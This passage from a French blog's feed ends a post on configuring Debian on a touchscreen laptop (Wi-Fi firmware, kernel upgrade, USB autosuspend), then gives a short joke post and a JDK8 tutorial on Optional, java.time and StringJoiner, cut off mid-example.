&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;apt-get&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;firmware-iwlwifi
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Sur la &lt;a href="http://wireless.kernel.org/en/users/Drivers/iwlwifi"&gt;page d&amp;rsquo;Intel dédiée au wireless&lt;/a&gt; , on peut voir que le contrôleur réseau &lt;strong&gt;Intel Corportion Wirelesse 7260&lt;/strong&gt; n&amp;rsquo;est pris en charge qu&amp;rsquo;à partir des noyaux &amp;gt;3.10 et par défaut c&amp;rsquo;est le noyau 3.2 qui est fourni avec jessie. Il faut donc installer un noyau plus récent:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;apt-get&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;linux-image-3.14-1.686.pae
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;En passant au noyau 3.14, le wifi fonctionne.&lt;/p&gt;
&lt;h3&gt;L&amp;rsquo;écran tactile&lt;/h3&gt;
&lt;p&gt;Là, il va falloir batailler un peu… &lt;/p&gt;
&lt;p&gt;En fait non, le passage au kernal 3.14 a fait le boulot et le touchscreen est reconnu. Il s&amp;rsquo;appelle &lt;em&gt;ELAN Toucscreen&lt;/em&gt; et apparait dans le panneau de configuration de &lt;em&gt;xfce&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Laptop-mode&lt;/h3&gt;
&lt;p&gt;Le &lt;em&gt;package&lt;/em&gt; laptop-mode prende en charge les spécificités d&amp;rsquo;un &lt;em&gt;laptop&lt;/em&gt; (l&amp;rsquo;USB, le carte réseau… ). Il se charge de rendre disponible / indisponible des services en fonction de l&amp;rsquo;état du &lt;em&gt;laptop&lt;/em&gt;. C&amp;rsquo;est louable.&lt;/p&gt;
&lt;p&gt;Par exemple, il suspend l&amp;rsquo;USB lorsque l&amp;rsquo;on est sur batterie… ce qui fait que la souris USB fonctionne différemment lorsque l&amp;rsquo;on est sur batterie ou pas. Génial ! Pour résoudre le problème, éditer le fichier&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;/etc/laptop-mode/conf.d/usb-autosuspend.conf 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;et placer &lt;code&gt;CONTROL_USB_AUTOSUSPEND&lt;/code&gt; à 0 plutôt qu&amp;rsquo;à auto. Si l&amp;rsquo;on préfère on peut aussi placer l&amp;rsquo;&lt;em&gt;id&lt;/em&gt; de la souris dans la &lt;em&gt;whitelist&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://gerky-art.deviantart.com/art/The-Rebirth-of-Nintendo-292903690"&gt;gerky-art&lt;/a&gt;. La renaissance de nintendo.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Too long; don&amp;rsquo;t read signale que le billet n&amp;rsquo;est pas lu parce que trop long. J&amp;rsquo;en fait ici un résumé … très très résumé ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Non non, il n&amp;rsquo;y a pas de lecteur CD sur ce portable mais c&amp;rsquo;est pas grave !&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Quels sont les 4 premiers mots du développeur ?</title><link href="http://blog.namok.be/2014-06-05-quels-sont-les-4-premiers-mots-du-developpeur.html" rel="alternate"/><published>2014-06-05T00:00:00+02:00</published><updated>2014-06-05T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2014-06-05:/2014-06-05-quels-sont-les-4-premiers-mots-du-developpeur.html</id><summary type="html">Quels sont les 4 premiers mots du développeur ?</summary><content type="html">&lt;p&gt;&lt;a href="/images/parentheseaccolade.png" title="parentheseaccolade.png"&gt;&lt;img alt="parentheseaccolade.png" src="/images/parentheseaccolade.png" title="parentheseaccolade.png, juin 2014"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Quels sont les premiers mots que doit apprendre un développeur ?&lt;/p&gt;
&lt;p&gt;Les premiers mots ne sont pas des mots mais simplement ces quatre caractères qui vont le suivre toute sa vie: la parenthèse &lt;code&gt;(&lt;/code&gt;, l&amp;rsquo;accolade &lt;code&gt;{&lt;/code&gt;, le crochet &lt;code&gt;[&lt;/code&gt; et le chevron &lt;code&gt;&amp;lt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;imagine que vous vous attendiez a des choses beaucoup plus compliquées. Et bien non ! Pour bien débuter en programmation, il faut connaitre son clavier…&lt;/p&gt;
&lt;p&gt;Vous pouvez reprendre une activité normale…&lt;/p&gt;</content></entry><entry><title>Comment faire le passage de JDK7 à JDK8 ? ou JDK8, les nouveautés.</title><link href="http://blog.namok.be/2014-06-03-jdk8.html" rel="alternate"/><published>2014-06-03T00:00:00+02:00</published><updated>2014-06-03T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2014-06-03:/2014-06-03-jdk8.html</id><summary type="html">Les nouveautés de JDK7 et JDK8. Premières mises à jour des ses connaissances de base.</summary><content type="html">&lt;p&gt;&lt;img alt="Les escaliers des milles marches" src="/images/escalier-1000.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;TL;DR&lt;sup id="fnref:tldr"&gt;&lt;a class="footnote-ref" href="#fn:tldr"&gt;1&lt;/a&gt;&lt;/sup&gt; JDK8 ce ne sont pas quelques nouveautés … ce sont des packages revus, des packages ajoutés et des ajouts importants dans la conception du langage.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;a href="#un-peu-de-cosmetique"&gt;Un peu de cosmétique&lt;/a&gt;&lt;br&gt;
&lt;a href="#les-optionals"&gt;Les optionals&lt;/a&gt;&lt;br&gt;
&lt;a href="#date"&gt;Où l&amp;rsquo;on parle du temps&lt;/a&gt;&lt;br&gt;
&lt;a href="#string"&gt;Petites modifications dans la classe String&lt;/a&gt;&lt;br&gt;
&lt;a href="#les-interfaces-sont-revues"&gt;Les interfaces sont revues&lt;/a&gt;  &lt;br&gt;
&lt;a href="#headerlambda"&gt;lambda expressions&lt;/a&gt;  &lt;br&gt;
&lt;a href="#functionalinterfaces"&gt;Les interfaces fonctionnelles&lt;/a&gt;&lt;br&gt;
&lt;a href="#newforeach"&gt;Méthode foreach pour les itérables&lt;/a&gt;&lt;br&gt;
&lt;a href="#removeif"&gt;Méthode removeIf pour les collections&lt;/a&gt;
&lt;a href="#map"&gt;La classe Map&lt;/a&gt;&lt;br&gt;
&lt;a href="#mapfilterreduce"&gt;Map - filter - reduce&lt;/a&gt;&lt;br&gt;
&lt;a href="#laclassestream"&gt;La classe Stream&lt;/a&gt;&lt;br&gt;
&lt;a href="#laclassecollectors"&gt;La classe Collectors&lt;/a&gt;&lt;br&gt;
&lt;a href="#non-abordes"&gt;Points non abordés&lt;/a&gt;  &lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="un-peu-de-cosmetique"&gt;Un peu de cosmétique&lt;/h2&gt;
&lt;p&gt;Pour commencer doucement, la &lt;strong&gt;javadoc&lt;/strong&gt; a reçu un petit
coup de &lt;em&gt;css&lt;/em&gt; et passe aux onglets. &lt;/p&gt;
&lt;p&gt;&lt;img alt="javadoc, JDK7" src="/images//screenshot-jdk7.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="javadoc, JDK8" src="/images/screenshot-jdk8.png"&gt;&lt;/p&gt;
&lt;h2 id="les-optionals"&gt;Les optionals&lt;/h2&gt;
&lt;p&gt;Toujours pour commencer avec des petites choses, &lt;em&gt;jdk8&lt;/em&gt; voit apparaitre les &lt;strong&gt;optionals&lt;/strong&gt;. &lt;/p&gt;
&lt;p&gt;Parfois, une variable doit avoir une valeur par défaut et l&amp;rsquo;on ne sait pas toujours en trouver une. Si c&amp;rsquo;est le minimum des naturels, 0 convient très bien … si c&amp;rsquo;est le maximum, c&amp;rsquo;est plus délicat. &lt;em&gt;jdk8&lt;/em&gt; propose les classes &lt;code&gt;Optional&amp;lt;E&amp;gt;&lt;/code&gt;, &lt;code&gt;OptionalDouble&lt;/code&gt;, &lt;code&gt;OptionalInt&lt;/code&gt;, &lt;code&gt;OptionalLong&lt;/code&gt; et &lt;code&gt;OptionalDataException&lt;/code&gt; dans le &lt;em&gt;package&lt;/em&gt; &lt;code&gt;java.util&lt;/code&gt;. Ces classes auront, ou pas, une valeur. &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;Optional&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Integer&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;oi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Optional&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;of&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;//Optional&amp;lt;Integer&amp;gt; oi = Optional.empty();&lt;/span&gt;

&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Or else: %d\n&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;oi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;orElse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;oi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;isPresent&lt;/span&gt;&lt;span class="p"&gt;()){&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Get: %d\n&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;oi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;L&amp;rsquo;intérêt est assez moyen à ce stade … mais se marquera dans la suite … et puis, c&amp;rsquo;est pour commencer doucement. L&amp;rsquo;article est long, les changements sont nombreux. &lt;/p&gt;
&lt;h2 id="date"&gt;Où l&amp;rsquo;on parle du temps&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;jdk8&lt;/em&gt; voit arriver de nouveaux &lt;em&gt;packages&lt;/em&gt; pour la gestion des dates (exit donc &lt;code&gt;GregorianCalendar&lt;/code&gt; et c&amp;rsquo;est pas trop tôt).  &lt;code&gt;java.time&lt;/code&gt; et ses petits frères &lt;code&gt;java.time.chrono&lt;/code&gt;, &lt;code&gt;java.time.format&lt;/code&gt;, &lt;code&gt;java.time.temporal&lt;/code&gt; et &lt;code&gt;java.time.zone&lt;/code&gt; vont nous permettre de parler d&amp;rsquo;&lt;strong&gt;instants&lt;/strong&gt; (&lt;em&gt;instant&lt;/em&gt;), de &lt;strong&gt;durée&lt;/strong&gt; (&lt;em&gt;duration&lt;/em&gt;) etc. &lt;/p&gt;
&lt;p&gt;Il sera donc possible de définir des instants ainsi que le laps de temps (la durée) écoulé entre deux instants grâce aux classes &lt;code&gt;Instant&lt;/code&gt;, &lt;code&gt;Duration&lt;/code&gt;… par exemple comme suit:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;Instant&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Instant&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;now&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;Instant&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;twominutes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;plus&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Duration&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;ofMinutes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="n"&gt;Instant&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nowagain&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Instant&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;now&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;Duration&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;duration&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Duration&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;between&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nowagain&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Duration: &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;duration&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toMillis&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;ms&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Si l&amp;rsquo;on ne s&amp;rsquo;intéresse pas à l&amp;rsquo;heure mais aux jours qui passent, les classes &lt;code&gt;LocalDate&lt;/code&gt;, &lt;code&gt;Period&lt;/code&gt;, &lt;code&gt;Month&lt;/code&gt;… prendront le relai… &lt;/p&gt;
&lt;p&gt;L&amp;rsquo;exemple est assez parlant:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;LocalDate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;myBirthday&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LocalDate&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;of&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1971&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Month&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;AUGUST&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;Period&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;age&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;myBirthday&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;until&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;LocalDate&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;now&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;My age: &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;age&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getYears&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot; years old&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;My age: &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;age&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toTotalMonths&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot; months&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;DayOfWeek&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;myBirthdayDayOfWeek&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DayOfWeek&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;myBirthday&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;myBirthday&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;DateTimeFormatter&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;ofPattern&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;d MMMM u&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot; was a &amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;myBirthdayDayOfWeek&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getDisplayName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TextStyle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;FULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;Locale&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;ENGLISH&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="n"&gt;LocalDate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;firstMonday&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;myBirthday&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TemporalAdjusters&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;firstInMonth&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;DayOfWeek&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;MONDAY&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;In 1971, the first Monday in august was the &amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;firstMonday&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getDayOfMonth&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Il est évidemment possible de passer de la nouvelle API à l&amp;rsquo;ancienne et &lt;em&gt;vice versa&lt;/em&gt;. &lt;/p&gt;
&lt;h2 id="string"&gt;Petites modifications dans la classe String&lt;/h2&gt;
&lt;p&gt;La concaténation des chaines qui se faisait grâce à &lt;code&gt;StringBuilder.append()&lt;/code&gt; peut maintenant se faire par le biais de &lt;code&gt;StringJoiner.add()&lt;/code&gt;. L&amp;rsquo;avantage réside dans le fait que l&amp;rsquo;on peut spécifier un délimiteur entre tous les éléments. &lt;/p&gt;
&lt;p&gt;Il est donc plus facile d&amp;rsquo;écrire &lt;em&gt;one, two, three&lt;/em&gt; (notez la présence de la virgule) et même &lt;em&gt;[one - two - three]&lt;/em&gt; (notez maintenant la présence des tirets et des crochets). &lt;/p&gt;
&lt;p&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;StringJoiner&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sj123&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;StringJoiner&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot; - &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;[&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;]&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;sj123&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;one&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="na"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;two&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="na"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;three&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sj123&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;one&lt;span class="w"&gt; &lt;/span&gt;-&lt;span class="w"&gt; &lt;/span&gt;two&lt;span class="w"&gt; &lt;/span&gt;-&lt;span class="w"&gt; &lt;/span&gt;three&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;La méthode &lt;code&gt;String.join()&lt;/code&gt; permet de faire directement le boulot.&lt;br&gt;
Facile !&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
